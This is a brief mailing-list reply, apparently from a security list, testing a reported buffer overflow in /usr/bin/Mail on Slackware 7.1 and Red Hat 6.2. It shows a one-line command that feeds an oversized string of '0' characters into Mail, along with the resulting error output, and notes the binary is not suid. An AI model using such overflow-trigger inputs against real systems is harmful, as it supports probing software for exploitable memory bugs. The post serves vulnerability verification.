Re: /usr/bin/Mail buffer 0verfl0w

[BAILLEUX Christophe <cb () T-ONLINE FR>]

Arf :)

Slackware 7.1 with the good syntax :) :

[cb@tshaw]$ (printf "t " ; perl -e 'print "0" x2240' ; cat) |
/usr/bin/Mail
Mail version 8.1 6/6/93.  Type ? for help.
"/var/spool/mail/cb": 1 message 1 new
>   1 cb   Fri Mar  2 18:19  14/337   "tsss"

0: Invalid message number
"Source" stack over-pop.

[cb@thsaw]$

But /usr/bin/Mail is not suid


Redhat 6.2 :

[cb@jules cb]$ cat /etc/redhat-release
Red Hat Linux release 6.2 (Zoot)
[cb@jules cb]$ ls -l /usr/bin/Mail
lrwxrwxrwx    1 root     root           14 jui 17  2000 /usr/bin/Mail ->
../../bin/mail
[cb@jules cb]$ ls -l /bin/mail
-rwxr-xr-x    1 root     mail        62384 fv  4  2000 /bin/mail
[cb@jules cb]$

Same thing on redhat 6.2...
